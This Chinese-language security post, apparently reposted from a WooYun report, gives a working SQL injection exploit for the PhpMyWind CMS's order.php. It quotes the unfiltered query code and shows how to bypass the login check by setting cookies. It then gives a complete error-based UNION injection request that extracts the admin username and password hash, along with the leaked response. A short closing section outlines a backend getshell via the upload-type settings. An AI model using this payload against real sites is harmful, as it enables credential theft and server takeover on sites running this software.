PhpMyWind最新版本注入+后台getshell

转自http://wooyun.org/bugs/wooyun-2010-051256

洞主文中没说清楚，厂商也忽略了。

简要分析如下

漏洞出在/order.php中

[php]

function GetTopType($tbname='', $tbname2='', $colname='', $id=0, $i=0)
{
global $dosql;

if(isset($_GET['id']))
{
$r = $dosql->GetOne("SELECT `$colname` FROM `$tbname2` WHERE `id`=".$_GET['id']);//没过滤
}
...

[/php]

不过要利用这处漏洞需要绕过下面的代码

[php]

//初始化购物车字符串
if(empty($_COOKIE['shoppingcart']))
{
header('location:shoppingcart.php');
exit();
}

//不允许游客下单跳转登陆
if(empty($_COOKIE['username']))
{
header('location:member.php?c=login');
exit();
}

[/php]

绕过也很简单，Cookie设置一下即可。
利用：

[php]

GET /order.php?id=-@`'`%20UnIon%20select%20username%20from%20`pmw_admin`%20where%20(select%201%20from%20(select%20count(*)%20,concat(0x7c,(select%20concat(username,0x3a,password)%20from%20pmw_admin%20limit%200,1),0x7c,floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x%20limit%200,1)a)%20and%20id=@`'` HTTP/1.1
Host: 0day5.com
Cookie: shoppingcart=a;username=b

[/php]

响应包结果：

[php]
duplicate entry '|admin:c3284d0f94606de1fd2af172aba15bf3|1' for key 'group_key' Error sql: SELECT `getmode` FROM `pmw_goodsorder` WHERE `id`=-@`'` UnIon select username from `pmw_admin` where (select 1 from (select count(*) ,concat(0x7c,(select concat(username,0x3a,password) from pmw_admin limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a) and id=@`'

[/php]

---------------------------

附一则后台getshell办法（windows服务器）

网站系统管理——网站信息配置——附件设置

上传图片类型

然后在Burp中

over.